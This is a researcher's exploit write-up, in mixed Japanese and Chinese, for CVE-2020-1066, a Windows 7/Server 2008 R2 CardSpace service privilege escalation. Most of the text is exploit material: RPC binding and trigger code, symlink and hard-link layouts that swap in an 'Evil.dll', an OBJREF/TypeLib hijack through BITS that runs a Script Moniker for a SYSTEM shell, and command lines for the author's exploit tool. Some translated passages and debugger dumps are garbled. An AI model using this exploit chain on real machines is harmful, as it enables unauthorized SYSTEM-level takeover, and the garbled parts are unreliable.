
ローカル特権昇格エクスプロイト。CVE-2020-1066を対象とし、Windows 7およびServer 2008 R2を標的とする。Windows CardSpaceサービス(idsvc)のシンボリックリンク悪用による任意のファイル置換を利用して、SYSTEMレベルのコード実行を達成する。
この脆弱性は、Windows CardSpaceサービスがシンボリックリンクオブジェクトを正しく処理しないことにより、任意のファイル置換を引き起こすローカル権限昇格の脆弱性です。
作者のPoCは研究目的のみを対象としており、読者が本PoCを利用して他の行為を行った場合、筆者は一切関与しません。
[toc]
Windows7およびWindows Server 2008 R2の一般ユーザーと、特殊な構成が有効なIISユーザーに適用されます。
筆者は本脆弱性の報告者であり、脆弱性は2020年5月に更新されました。脆弱性はWindows7およびWindows Server 2008 R2のWindows CardSpaceサービス(略称idsvc)に起因します。このサービスは任意のユーザーが起動でき、System権限で動作し、公開RPC呼び出しを提供します。ユーザーが現在のユーザー環境変数%APPDATA%ディレクトリ配下の指定された設定ファイルを移動する操作をトリガーした際、サービスがシンボリックリンクオブジェクトを正しく処理しないため、任意のファイル置換によるローカル権限昇格が発生します。これが脆弱性の原因です。
RPC呼び出しを利用するには、まずサービスのインターフェースMIDLを取得する必要があります。これによりローカルコードを作成して相互作用できます。筆者はRpcViewツールの使用を推奨します。具体的な方法はRPC脆弱性発見シリーズ記事を参照してください。 まず以下の方法でシンボルファイルを取得し、ツール内でシンボル構成を行います。その後、RPCインターフェースのIDLファイルを逆コンパイルできます。具体的な方法は以下の通りです。``` //先配置环境变量[_NT_SYMBOL_PATH]值如下 SRVC:\symbolshttp://msdl.microsoft.com/download/symbols/ //手动下载符号,symchk.exe在windbg目录下 symchk.exe "C:\Windows\Microsoft.NET\Framework64\v3.0\Windows Communication Foundation\infocard.exe" /v //在RpcView工具点击Options->Configure Symbols,输入如下内容,注意大小写 srv*C:\symbols

ツールを使用して、3つの重要なデータ(Rpcプロトコルのタイプ、プロトコル名、プロトコルインターフェースのクライアント定義ファイル(IDLファイルをコンパイルして生成された.cファイル、左側のDecompilationテキストボックスを参照))を取得します。これにより、以下の方法でRpcサービスをバインドできます。```
BOOL StartRpcService()
{
RPC_STATUS status;
unsigned int cMinCalls = 1;
RPC_BINDING_HANDLE v5;
RPC_SECURITY_QOS SecurityQOS = {};
RPC_WSTR StringBinding = nullptr;
if (StartConnectingService())
{
//Rpc协议的类型,协议名称
status = RpcStringBindingComposeW(nullptr, L"ncalrpc", 0, L"31336F38236F3E2C6F3F2E6F20336F20236F21326F", nullptr, &StringBinding);
if (status){
printf("RpcStringBindingComposeW Failed:%d\n", status);
return(status);
}
status = RpcBindingFromStringBindingW(StringBinding, &hBinding);
RpcStringFreeW(&StringBinding);
if (status){
printf("RpcBindingFromStringBindingW Failed:%d\n", status);
return(status);
}
SecurityQOS.Version = 1;
SecurityQOS.ImpersonationType = RPC_C_IMP_LEVEL_IMPERSONATE;
SecurityQOS.Capabilities = RPC_C_QOS_CAPABILITIES_DEFAULT;
SecurityQOS.IdentityTracking = RPC_C_QOS_IDENTITY_STATIC;
status = RpcBindingSetAuthInfoExW(hBinding, 0, 6u, 0xAu, 0, 0, (RPC_SECURITY_QOS*)&SecurityQOS);
if (status){
printf("RpcBindingSetAuthInfoExW Failed:%d\n", status);
return(status);
}
//绑定接口
status = RpcEpResolveBinding(hBinding, DefaultIfName_v1_0_c_ifspec);
if (status){
printf("RpcEpResolveBinding Failed:%d\n", status);
return(status);
}
}
else
{
printf("Start Connecting Windows Cardspace Service Failed");
return 0;
}
return 0;
}
通过反编译idsvc服务代码得到具体工程(见相关项目).idsvc服务绑定了全局RPC接口的全局处理程序RequestFactory.ProcessNewRequest,对于初次调用即parentRequestHandle为0的情况调用CreateClientRequestInstance类处理回调,后续操作由CreateUIAgentRequestInstance类处理``` //全局RPC接口的全局处理程序 internal static int ProcessNewRequest( int parentRequestHandle, IntPtr rpcHandle, IntPtr inArgs, out IntPtr outArgs) { ... //初次调用 if (parentRequestHandle == 0) { using (UIAgentMonitorHandle monitorHandle = new UIAgentMonitorHandle()) { using (ClientRequest clientRequestInstance = RequestFactory.CreateClientRequestInstance(monitorHandle, structure.Type, rpcHandle, inStream, (Stream)outStream)) {
string extendedMessage; //反射出来后执行实例的DoProcessRequest方法处理请求 num = clientRequestInstance.DoProcessRequest(out extendedMessage); RpcResponse outArgs1; RequestFactory.ConvertStreamToIntPtr(outStream, out outArgs1); //返回结果 outArgs = outArgs1.Marshal(); } } }
idsvcサービスはRpcRequest->Typeフィールド内のクラス名に基づいてリフレクションを行い、対応するクラスでコールバックを処理します。ここでのpocは"ManageRequest"クラスを使用しています;```
private static ClientRequest CreateClientRequestInstance( UIAgentMonitorHandle monitorHandle, string reqName, IntPtr rpcHandle,Stream inStream,Stream outStream)
{
ClientRequest clientRequest = (ClientRequest)null;
lock (RequestFactory.s_createRequestSync)
{
RequestFactory.RequestName request =
RequestFactory.s_requestMap[reqName];
if (-1 !=
Array.IndexOf<RequestFactory.RequestName>(RequestFactory.s_uiClientRequests,
request))
{
Process contextMapping =
ClientUIRequest.GetContextMapping(rpcHandle, true);
InfoCardTrace.ThrowInvalidArgumentConditional(null ==
contextMapping, nameof(rpcHandle));
WindowsIdentity executionIdentity =
NativeMcppMethods.CreateServiceExecutionIdentity(contextMapping);
InfoCardUIAgent agent =
monitorHandle.CreateAgent(contextMapping.Id, executionIdentity, tSSession);
switch (RequestFactory.s_requestMap[reqName])
{
//这里使用的是"ManageRequest"类;
case RequestFactory.RequestName.ManageRequest:
clientRequest = (ClientRequest)new
ManageRequest(contextMapping, executionIdentity, agent, rpcHandle, inStream,
outStream);
break;
}
}
ManageRequestインスタンスのDoProcessRequest関数がリクエストを処理し、中間ステップを省略して、最終的にStoreConnection.CreateDefaultDataSources()を呼び出して利用ポイントに到達します。
サービスとのやり取りの過程で、サービスはクライアントを偽装し(Impersonate Client)、ユーザープロファイルを取得します。デフォルトではユーザー環境変数%APPDATA%ディレクトリ下の指定されたプロファイルです。IISユーザーの特別な場合、デフォルトではプロファイルがロードされないため、以下の設定を有効にする必要があります。アプリケーションプール -> 詳細設定をクリックします。
```
//构造函数
protected StoreConnection(WindowsIdentity identity)
{ //这里的identity也就客户端身份 this.m_identity = new WindowsIdentity(identity.Token); //获取用户环境变量的%APPDATA% this.m_path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Microsoft\CardSpace\"); this.m_localSource = this.m_path + "CardSpaceSP2.db"; } protected virtual void CreateDefaultDataSources(Hashtable list) { string str = this.m_path + "CardSpace.db"; //进入using块使用的idsvc服务身份,离开块后继续Impersonate Client using (new SystemIdentity(true)) { .... if (File.Exists(str)) { //替换文件,内部实现就是File.MoveTo等函数 this.AtomicFileCopy(str, this.m_localSource); } } ... protected void AtomicFileCopy(string source, string destination) { if (!File.Exists(source)) return; //加上.atomic后缀,移动文件 File.Copy(source, source + ".atomic", true); FileInfo fileInfo = new FileInfo(source + ".atomic"); if (fileInfo.Length == 0L) return; fileInfo.MoveTo(destination); }
idsvcサービスは`new SystemIdentity(true)`でidsvcサービスの身分に戻り、`AtomicFileCopy`を呼び出してユーザープロファイルを移動します。デフォルト設定では、`%APPDATA%`ディレクトリ内のファイルは現在のユーザーが完全に制御できます。高権限プロセスが低権限プロセスで制御可能なファイルに対して削除、移動、コピー、属性設定などの操作を行う場合、低権限プロセスはこの特権を利用して他の操作を行うことができます。James Forshaw [@tiraniddo](https://twitter.com/tiraniddo) は [オープンソースツール](https://github.com/googleprojectzero/symboliclink-testing-tools) を提供しており、彼のNTFSファイルシステムとWindows内部に関する先駆的な研究がすべての重労働を完了し、Windowsのファイルシステムおよびパス解決機能を悪用するいくつかの技術と利用方法を実装しています。NTFSファイルシステムでは、ユーザー制御ディレクトリを別のユーザー制御ディレクトリにマウント(マウントポイントVolume Mount PointsおよびジャンクションポイントJunction Points)することや、シンボリックリンクSymbolic Links(NTFS再解析ポイントReparse Points)を介してあるターゲットを別のターゲットにリンクすること、またハードリンクHard Linkを介してユーザー制御可能なファイルを別の読み取り可能なファイルにリンクすることが可能であり、これらの方法はすべて悪意のある攻撃者が高権限プロセスのファイル操作を悪用することを可能にします。POCでの悪用には、以下の2つの方法を使用してソースファイルとターゲットファイルにそれぞれ対応するシンボリックリンクを作成できます。最初の方法はマウントポイントとハードリンクであり、この方法はWindows 7にのみ適用されます。ハードリンクはMicrosoftによって緩和されています。詳細な理由は[分析](http://whereisk0shl.top.park.bitcron.com/post/2019-06-08)を参照してください。2番目の方法はWindows 10でも悪用可能であり、原理は任意のユーザーが書き込み可能なオブジェクトディレクトリ`\RPC Control`を指定ディレクトリにリンクし、さらに`\RPC Control`ディレクトリ下のファイルを指定ファイルにリンクし続けることです。具体的な方法は以下の通りです。シンボリックリンクに関する詳細は[上編](https://www.4hou.com/posts/qV8D)および[下編](https://www.4hou.com/posts/rE7B)を参照してください。ここでは繰り返しません。```
第一种方式, 挂载点和硬链接
C:\workspace\mountpoint -> C:\Users\Username\AppData\Local\Microsoft\CardSpace
源文件(挂载点) = C:\workspace\mountpoint\CardSpace.db(Fake.dll) -> C:\Users\Username\AppData\Local\Microsoft\CardSpace\CardSpace.db
目标文件(硬链接) =C:\Users\Username\AppData\Local\Microsoft\CardSpace\CardSpace.db.atomic -> C:\Evil.dll
第二种方式,符号链接至 \RPC Control
C:\Users\Username\AppData\Local\Microsoft\CardSpace -> \RPC Control
源文件 = C:\Users\Username\AppData\Local\Microsoft\CardSpace\CardSpace.db ->\RPC Control\CardSpace.db
目标文件 =C:\Users\Username\AppData\Local\Microsoft\CardSpace\CardSpace.db.atomic -> \RPC Control\CardSpace.db.atomic
源文件 = \RPC Control\CardSpace.db ->C:\Fake.dll
目标文件 = \RPC Control\CardSpace.db.atomic -> C:\Evil.dll
Process Monitorから、idsvcサービスがファイルを移動する際にユーザー権限の偽装(Impersonate)を使用しておらず、ファイルのシンボリックリンク属性もチェックしていないことが確認できる。これにより、任意のファイル置換による権限昇格の脆弱性が生じる。以下は脆弱性を利用するための重要なコードである。```
BOOL Exploit()
{
RpcRequest* req = (RpcRequest*)CoTaskMemAlloc(sizeof(RpcRequest));
req->Type = L"ManageRequest";
req->Length = 0;
req->Data = 0;
RpcResponse* rep = (RpcResponse*)CoTaskMemAlloc(sizeof(RpcResponse));
UINT32* ctx = 0;
long ret = Proc0_RPCClientBindToService(hBinding, (void**)&ctx);
printf("Proc0_RPCClientBindToService :%d\n", ret);
ret = Proc2_RPCDispatchClientUIRequest((void**)&ctx, req, &rep);
printf("Proc2_RPCDispatchClientUIRequest :%08x\n", ret);
return 0;
}
##### エクスプロイト分析 #####
筆者は、任意のファイル置換に基づく新しい特権昇格エクスプロイト方式を考案しました。原型は[CVE-2017-0213](https://www.exploit-db.com/exploits/42020/)に由来します。この方式は、Windows 7からWindows 10までのすべてのバージョンのオペレーティングシステムに適用されますが、前提として、置換対象のファイルがTrustedInstallerの制御権限ではないことが必要であり、それによって脆弱性がトリガーされます。理由は、TrustedInstallerの権限が他の権限よりも高いためです。直接置換操作を実行すると、System権限で操作してもアクセス拒否となります。通常、管理者権限またはSystem権限のファイルのみが条件を満たします。筆者は、指定されたディレクトリ内の置換可能なファイルを検索するための[ツール](https://gitee.com/cbwang505/TypeLibUnmarshaler)を作成し、関連プロジェクトリストに提供しています。また、マイクロソフトの[SysinternalsSuite](https://docs.microsoft.com/zh-cn/sysinternals/downloads/sysinternals-suite)に含まれるaccesschkツールを使用することもできます。コマンドラインは以下の通りで、最後の引数が指定ディレクトリのファイルです。```
//[SysinternalsSuite]工具模式,最后一个参数为指定目录文件
accesschk.exe -s -w "nt authority\system" c:\windows\system32\*.dll
//笔者工具中的查找模式,参数为目标路径和后缀名
MyComEop.exe v [find path] [extension]
//深度查找模式,参数为目标路径和后缀名
MyComEop.exe d [find path] [extension]
Windows7システムでは、筆者は上記のツールを使用して、システムに標準で含まれるTypeLib(タイプライブラリ)ファイルが悪用可能であることを見つけました。Windows10などの高バージョンシステムでも、Systemユーザーが書き込み可能なシステム標準のTypeLibが見つかりました。さらに良いことに、サードパーティのソフトウェアをインストールして登録されたCOMコンポーネントには、ほとんど同様の条件を満たすTypeLibファイルが存在するため、この悪用手法には必ず利用価値があります。``` Windows7系统TypeLib位于: C:\Windows\Microsoft.NET\Framework\v4.0.30319\System.EnterpriseServices.tlb Windows10等高版本系统TypeLib位于: C:\Windows\System32\SysFxUI.dll

Windows7システムの悪用は直接pocに反映できますが、Windows10などの高バージョンシステムは私の別の[EXP](https://gitee.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION)で検証されています。テスト目的のみの場合は、以下のコマンドラインで起動して実現できます。Systemユーザーによる書き込みが必要なため、[Process Hacker](https://processhacker.sourceforge.io/)などのツールを使用して現在のユーザーをSystemユーザーに切り替えることをお勧めします。効果は上の図の通りです:```
MyComEop.exe u "{E6DB299B-B925-415A-879B-4A76D072F39A}" "IMyPageFactory" "{87D5F036-FAC3-4390-A1E8-DFA8A62C09E7}" "C:\Windows\System32\SysFxUI.dll" true
読者が条件に合うTypeLibを見つけたら、Windows SDKのOleViewツールで開き、任意のInterfaceを選択して、この3つのパラメータ(IID_Interface、InterfaceName、TypeLib_GUID)を抽出すれば、エクスプロイトツールの高度なモードを使用してエクスプロイトを実行できます。ここでは、筆者はWindows 7システムに標準で搭載されているTypeLibを使用してデモを行います。
脆弱性の悪用原理は、Background Intelligent Transfer Service(略称bits)に由来します。bitsサービスの公開APIであるIBackgroundCopyJob->SetNotifyInterfaceインターフェースを呼び出すことで、任意のリモートCOMオブジェクトを渡すことができます。このオブジェクトがIMarshalインターフェースを継承している場合、bitsサービスはインターフェースメソッドGetUnmarshalClassで渡されたCLSIDに基づいてカスタムUnmarshal逆シリアル化を実行します。ここで筆者が使用しているのは標準のUnmarshal方式、すなわちCStdMarshal::UnmarshalInterfaceによる逆シリアル化のトリガーであり、逆シリアル化を引き起こすデータはMarshalStream内のOBJREF構造体から得られます。この構造体のフォーマットは以下の通りです。詳細はマイクロソフト公式ドキュメントおよび私の別の記事を参照してください。```
typedef LUID OXID;
typedef LUID OID;
typedef GUID IPID;
typedef struct tagDUALSTRINGARRAY {
unsigned short wNumEntries; // Number of entries in array.
unsigned short wSecurityOffset; // Offset of security info.
unsigned short aStringArray[];
} DUALSTRINGARRAY;
typedef struct tagSTDOBJREF {
DWORD flags;
DWORD cPublicRefs;
//对象所处的套间的标识符,在套间建立时会为套间建立一个OXID,叫做对象引出标识符
OXID oxid;
//存根管理器的标识符
OID oid;
//接口存根标识符,用来唯一的标识套间中的一个接口指针,这跟接口的IID是不同的,IID是用来标识
IPID ipid;
} STDOBJREF;
typedef struct tagOBJREF { unsigned long signature;//MEOW unsigned long flags; GUID iid; union { struct { STDOBJREF std; DUALSTRINGARRAY saResAddr; } u_standard; struct { STDOBJREF std; CLSID clsid; DUALSTRINGARRAY saResAddr; } u_handler; struct { CLSID clsid; unsigned long cbExtension; unsigned long size; ULONGLONG pData; } u_custom; } u_objref; } OBJREF;
这里flags为OBJREF_STANDARD(0x01),表示使用标准Unmarshal方式(CStdMarshal),对应的下方联合体的是STDOBJREF,至于其他flags类型均有自定义的unmarshal方式,不在本文的讨论范围,请读者自行研究.而最终导致实现漏洞利用的是其中的iid字段,通过逆向研究发现替换这个iid(也就是oleview中找到的接口IID_Interface)就可以触发bits服务加载这个iid对应com组件对象的TypeLib(类型库),也就是说任意TypeLib反序列化.最终替换TypeLib文件构造为嵌套的TypeLib结构就可以运行Script Moniker来GetShell.这里附上漏洞利用关键代码:```
virtual HRESULT STDMETHODCALLTYPE MarshalInterface(
/* [annotation][unique][in] */
_In_ IStream *pStm,
/* [annotation][in] */
_In_ REFIID riid,
/* [annotation][unique][in] */
_In_opt_ void *pv,
/* [annotation][in] */
_In_ DWORD dwDestContext,
/* [annotation][unique][in] */
_Reserved_ void *pvDestContext,
/* [annotation][in] */
_In_ DWORD mshlflags)
{
IStorage* stg;
ILockBytes* lb;
CreateILockBytesOnHGlobal(nullptr, TRUE, &lb);
StgCreateDocfileOnILockBytes(lb, STGM_CREATE | STGM_READWRITE | STGM_SHARE_EXCLUSIVE, 0, &stg);
ULONG cbRead;
ULONG cbWrite;
IStreamPtr pStream = nullptr;
HRESULT hr = CreateStreamOnHGlobal(0, TRUE, &pStream);
LARGE_INTEGER dlibMove = { 0 };
ULARGE_INTEGER plibNewPosition;
hr = CoMarshalInterface(pStream, IID_IUnknown, static_cast<IUnknownPtr>(stg), dwDestContext, pvDestContext, mshlflags);
OBJREF* headerObjRef = (OBJREF*)malloc(1000);
hr = pStream->Seek(dlibMove, STREAM_SEEK_SET, &plibNewPosition);
hr = pStream->Read(headerObjRef, 1000, &cbRead);
printf("[+]MarshalInterface: %ls %p\n", IIDToBSTR(IID_InterfaceFake).GetBSTR(), this);
//IID_InterfaceFake就是找到的接口IID_Interface
headerObjRef->iid = IID_InterfaceFake;
hr = pStm->Write(headerObjRef, cbRead, &cbWrite);
return hr;
}
デバッグ結果からわかるように、CStdMarshal::UnmarshalInterfaceは最終的にLoadTypeLibExを呼び出し、渡されたiidはIID_InterfaceFake(OBJREFから)である。2回目のLoadTypeLibEx呼び出しによりScript Monikerが読み込まれた。高権限プロセスのHOOKにより任意のTypeLibを逆シリアル化してロードできることが証明された。```
1: kd> bp OLEAUT32!GetTypeInfoOfIID
Breakpoint 0 hit
OLEAUT32!GetTypeInfoOfIID:
0033:000007fefebf0140 4533c0 xor r8d,r8d //继续调试.... 0: kd> p OLEAUT32!GetTypeInfoOfIIDFwd+0x19: 0033:000007fefebefd09 4889842480030000 mov qword ptr [rsp+380h],rax
0: kd> r
rax=0000113b9b912356 rbx=0000000000000000 rcx=00000000059f912c
rdx=00000000033ae060 rsi=00000000059f9150 rdi=00000000059f9148
rip=000007fefebefd09 rsp=00000000033adc80 rbp=0000000000000002
r8=0000000000000000 r9=0000000000000000 r10=0000000000000000
r11=00000000033ae088 r12=00000000059f912c r13=0000000000000001
0: kd> dt _GUID @rcx
//查看这个参数
ole32!_GUID
{55e3ea25-55cb-4650-8887-18e8d30bb4bc}=传入iid是IID_InterfaceFake
//下这个断点
1: kd> bp OLEAUT32!LoadTypeLibEx
1: kd> g
Breakpoint 3 hit
OLEAUT32!LoadTypeLibEx:
0033:000007fefeb6a550 fff3 push rbx //第一次加载的是目标TypeLib 1: kd> dc @rcx L50 0000000002c8e070 003a0043 0057005c 006e0069 006f0064 C.:..W.i.n.d.o.
0000000002c8e080 00730077 004d005c 00630069 006f0072 w.s.\.M.i.c.r.o. 0000000002c8e090 006f0073 00740066 004e002e 00540045 s.o.f.t...N.E.T.
0000000002c8e0a0 0046005c 00610072 0065006d 006f0077 \.F.r.a.m.e.w.o. 0000000002c8e0b0 006b0072 0076005c 002e0034 002e0030 r.k..v.4...0...
0000000002c8e0c0 00300033 00310033 005c0039 00790053 3.0.3.1.9.\.S.y. 0000000002c8e0d0 00740073 006d0065 0045002e 0074006e s.t.e.m...E.n.t.
0000000002c8e0e0 00720065 00720070 00730069 00530065 e.r.p.r.i.s.e.S. 0000000002c8e0f0 00720065 00690076 00650063 002e0073 e.r.v.i.c.e.s...
0000000002c8e110 059f92e0 00000000 02c8e180 00000000 ................
0: kd> kv
00 000000000391d828 000007fefebf00eb : 0000000000000ed8 0000000000000000 000000000391d9a0 000000000391d870 : OLEAUT32!LoadTypeLibEx
01 000000000391d830 000007fefebf0f4f : 000007feff6c71c0 000007feff661889 000000000371f310 0000000000000000 : OLEAUT32!GetTypeInfoOfIIDFwd+0x3fb
02 000000000391dbe0 000007fefebf1149 : 0000000000284210 000000000371f310 0000000000284240 0000000000284248 : OLEAUT32!FilterReferencedTypeInfos+0x3df
03 000000000391dc40 000007feff51e46a : 0000000000000000 0000000003715ea0 0000000000284210 0000000000284210 : OLEAUT32!CProxyWrapper::Connect+0x79
04 000000000391dc90 000007feff51e233 : 0000000000000000 0000000000284210 : ole32!CStdMarshal::ConnectCliIPIDEntry+0x1ca [d:\w7rtm\com\ole32\com\dcomrem\marshal.cxx @ 2368]
05 00000000ff51e114 : 000000000391e618 0000000000000000 : ole32!CStdMarshal::MakeCliIPIDEntry+0xc3 [d:\w7rtm\com\ole32\com\dcomrem\marshal.cxx @ 2189]
06 00000000ff5211ec : 000000000391df68 000000009a2802cf : ole32!CStdMarshal::UnmarshalIPID+0x70 [d:\w7rtm\com\ole32\com\dcomrem\marshal.cxx @ 1734]
07 00000000ff5210b7 : 00000000059e7610 0000000000000000 : ole32!CStdMarshal::UnmarshalObjRef+0x10c [d:\w7rtm\com\ole32\com\dcomrem\marshal.cxx @ 1618]
08 00000000ff52106c : 000000000391df50 00000000037daf90 : ole32!UnmarshalSwitch+0x2b [d:\w7rtm\com\ole32\com\dcomrem\marshal.cxx @ 1279]
09 00000000ff64a0c5 : 0000000000000000 0000000000000000 : ole32!UnmarshalObjRef+0xc0 [d:\w7rtm\com\ole32\com\dcomrem\marshal.cxx @ 1406]
//使用的是标准反序列化模式
0a 00000000ff5232a6 : 00000000fee64366 00000000fedec704 : ole32!CStdMarshal::UnmarshalInterface+0x45 [d:\w7rtm\com\ole32\com\dcomrem\marshal.cxx @ 1238]
0b 00000000ff523542 : 000007fe0391e340 0000000000000000 : ole32!CoUnmarshalInterface+0x19c [d:\w7rtm\com\ole32\com\dcomrem\coapi.cxx @ 957]
0c 00000000fedf523e : 000000000391e340 000007fe0029f880 : ole32!NdrExtInterfacePointerUnmarshall+0x162 [d:\w7rtm\com\rpc\ndrole\oleaux.cxx @ 1354]
0d 00000000fedff6cf : 000007fe0391e4f0 0000000000000000 : RPCRT4!IUnknown_AddRef_Proxy+0x19e
0e 00000000fede6e1c : 00000000fede78d7 000000000023e760 : RPCRT4!NdrPointerUnmarshall+0x2f
0f 00000000fede68e3 : 00000000faac1342 00000000faac1af0 : RPCRT4!NdrStubCall2+0x73c
10 00000000fede7967 : 00000000fb63a250 00000000fb63a250 : RPCRT4!NdrStubCall2+0x203
11 00000000ff660883 : 0000000000000000 0000000003715ff0 : RPCRT4!I_RpcGetBuffer+0xc7
12 00000000ff660ccd : 0000000000000000 000007fe00000000 : ole32!CStdStubBuffer_Invoke+0x5b [d:\w7rtm\com\rpc\ndrole\stub.cxx @ 1586]
13 00000000ff660c43 : 000000000378a994 00000000ec046040 : ole32!SyncStubInvoke+0x5d [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1187]
14 00000000ff51a4f0 : 00000000037daf90 000000000391ecd0 : ole32!StubInvoke+0xdb [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1396]
15 00000000ff6614d6 : 0000000000000010 0000000003715ff0 : ole32!CCtxComChnl::ContextInvoke+0x190 [d:\w7rtm\com\ole32\com\dcomrem\ctxchnl.cxx @ 1262]
16 00000000ff66122b : 00000000037daf90 0000000003769be0 : ole32!AppInvoke+0xc2 [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1086]
17 00000000ff65fd6d : 00000000037daf90 0000000000070005 : ole32!ComInvokeWithLockAndIPID+0x52b [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1727]
18 00000000fede50f4 : 000007fe00000000 00000000fedde8f7 : ole32!ThreadInvoke+0x30d [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 4751]
19 00000000fede4f56 : 000007fe00000001 00000000ff4f8ffc : RPCRT4!NdrServerCall2+0x1d84
1a 00000000fede775b : 0000000000000000 000000000378a970 : RPCRT4!NdrServerCall2+0x1be6
1b 00000000fede769b : 000000000391f0b0 00000000037241b0 : RPCRT4!I_RpcBindingInqTransportType+0x32b
1c 00000000fede7632 : 000000000378a970 00000000fede6140 : RPCRT4!I_RpcBindingInqTransportType+0x26b
1d 0000000000000000 : 0000000000000000 0000000000000000 : RPCRT4!I_RpcBindingInqTransportType+0x202
//第二次加载的就是嵌套的TypeLib对应Script Moniker的script:xxx.sct脚本文件
1: kd> g
Breakpoint 3 hit
OLEAUT32!LoadTypeLibEx:
0033:000007fe02c8dd70 00630073 00690072 00740070 0043003a s.c.r.i.p.t.:.C.
0000000002c8dd90 005c0074 006b006f 0072005c 006e0075 t..o.k..r.u.n.
0000000002c8ddb0 037efc30 00000000 feb6733c 000007fe 0.~.....<s......
Com组件服务器側のアパートメントには、Comインターフェースのスタブオブジェクトのリストが保持されており、各スタブオブジェクトはComオブジェクトへの参照を保持しています。このComオブジェクトのインターフェースiid情報に基づき、レジストリのHKEY_CLASSES_ROOT/Interface下でサブキーiidのProxyStubClsid32サブキーの既定値を検索します。この既定値はスタブオブジェクトのCLSIDです。次に、ComはCLSIDを使用してCoGetClassObject関数を呼び出し、プロキシクラスファクトリインターフェースIPSFactoryBuffer->CreateStubを要求してインターフェーススタブオブジェクトを生成します。同様に、Comコンポーネントのクライアント側アパートメントではプロキシオブジェクトのリストが保持されており、OBJREFのアンマーシャリング時に、スタブオブジェクトの[oxid, oid, ipid]と一致するものを検索し、IPSFactoryBuffer->CreateProxyを呼び出して対応するプロキシを作成します。インターフェースIDLファイルで宣言された関数定義を通じて物理スタックを構築し、さらにRPCRT4.dllで実装されたIRpcChannelチャネルを介して実際のインターフェース関数を呼び出し、スタブと通信することで、Comのリモートプロシージャコール(RPC)を実現します。

プロキシの作成時、IPSFactoryBuffer->CreateProxyはデフォルトでCreateProxyFromTypeInfo関数にカプセル化されて実装されます。この関数の呼び出しプロセスは、TypeLib内のTypeInfoに関連しています。その理由は、TypeInfoがTypeLib内でインターフェースに関連する型情報を定義しているためです。したがって、このプロセスでは必ずLoadTypeLib関数を呼び出してTypeLibとその中のTypeInfoを読み込む必要があり、これが脆弱性をトリガーする最も重要なポイントです。LoadTypeLib関数の呼び出しプロセスをリバースエンジニアリングして分析すると、具体的にはレジストリ操作によって実装されていることがわかります。各インターフェース情報はレジストリのHKEY_CLASSES_ROOT\Interface\[インターフェースIID]にあり、そのサブキーTypeLibはインターフェースのTypeLib_GUIDに対応します。次に、対応するTypeLibはHKEY_CLASSES_ROOT\TypeLib\\[TypeLib_GUID]にあり、対応するバージョンのサブキー値がTypeLibのパスです。インターフェースには複数のバージョンに対応するTypeLibサブキーが存在する可能性がありますが、逆シリアル化時にはデフォルトで1つだけが読み込まれます。筆者はoleaut32.dll内の実装をリバースエンジニアリングし、脆弱性悪用ツールで対応するTypeLibファイルを自動的にマッチングして利用する処理を実装しました。具体的なリバース結果は以下の通りです。```
wchar_t *__stdcall GetTypeInfoOfIIDFwd(GUID *rguid, struct ITypeInfo **a2, int a3)
{
wchar_t *result; // eax
unsigned __int16 versionLookUp; // bx
unsigned __int16 versionLookUpNext; // ax
DWORD v6; // ebx
LSTATUS i; // eax
HRESULT v8; // eax
wchar_t *v9; // ebx
HRESULT v10; // eax
int foundDotted; // [esp+8h] [ebp-31Ch]
GUID *v12; // [esp+Ch] [ebp-318h]
struct ITypeInfo **v13; // [esp+10h] [ebp-314h]
struct ITypeInfo *v14; // [esp+14h] [ebp-310h]
wchar_t *EndPtr; // [esp+18h] [ebp-30Ch]
LONG cbData; // [esp+1Ch] [ebp-308h]
ITypeLib *pptlib; // [esp+20h] [ebp-304h]
unsigned __int16 SubVersion[2]; // [esp+24h] [ebp-300h]
DWORD dwIndex; // [esp+28h] [ebp-2FCh]
unsigned __int16 Version[2]; // [esp+2Ch] [ebp-2F8h]
HKEY v21; // [esp+30h] [ebp-2F4h]
HKEY v22; // [esp+34h] [ebp-2F0h]
HKEY phkResult; // [esp+38h] [ebp-2ECh]
HKEY hKey; // [esp+3Ch] [ebp-2E8h]
CLSID pclsid; // [esp+40h] [ebp-2E4h]
WCHAR Data; // [esp+50h] [ebp-2D4h]
wchar_t Dst; // [esp+258h] [ebp-CCh]
unsigned __int16 tempData; // [esp+268h] [ebp-BCh]
OLECHAR sz; // [esp+26Ch] [ebp-B8h]
wchar_t SubKey; // [esp+2E8h] [ebp-3Ch]
WCHAR Name; // [esp+304h] [ebp-20h]
v12 = rguid;
v13 = a2;
if ( a3 >= 16 )
return (wchar_t *)-2147319779;
result = (wchar_t *)MapIIDToFusionTypeInfo(rguid, a2);
if ( (signed int)result < 0 )
return result;
if ( result != (wchar_t *)1 )
goto LABEL_57;
hKey = (HKEY)-1;
phkResult = (HKEY)-1;
v22 = (HKEY)-1;
v21 = (HKEY)-1;
pptlib = 0;
//先找Interface
wcscpy_s(&Dst, 0x47u, L"Interface\\");
StringFromGUID2(rguid, &sz, 39);
//如果存在Forward
wcscat_s(&Dst, 0x47u, L"\\Forward");
cbData = 520;
if ( QueryClassesRootValueW(&Dst, &Data, &cbData)
|| CLSIDFromString(&Data, &pclsid)
|| GetTypeInfoOfIIDFwd(&pclsid, a2, a3 + 1) )
{
*(_DWORD *)SubVersion = 0;
*(_DWORD *)Version = 0;
//找里面的TypeLib
wcscpy_s(&Dst, 0x47u, L"TypeLib\\");
result = SzLibIdOfIID(rguid, &tempData, 40, Version, SubVersion, &foundDotted);
if ( (signed int)result >= 0 )
{
//打开ClassesRoot根节点
if ( OpenClassesRootKeyW(&Dst, &hKey) )
{
result = (wchar_t *)-2147319779;
}
else
{
SubKey = 0;
//查找子健,枚举版本号
for ( dwIndex = 0; !RegEnumKeyW(hKey, dwIndex, &Name, 0xDu); ++dwIndex )
{
versionLookUp = _wcstoul(&Name, &EndPtr, 16);
if ( *EndPtr == '.' )
{
if ( (versionLookUpNext = _wcstoul(EndPtr + 1, 0, 16), !foundDotted) && versionLookUp > Version[0]
|| versionLookUp == Version[0] && versionLookUpNext >= SubVersion[0] )
{
*(_DWORD *)SubVersion = versionLookUpNext;
*(_DWORD *)Version = versionLookUp;
wcscpy_s(&SubKey, 0xDu, &Name);
}
}
}
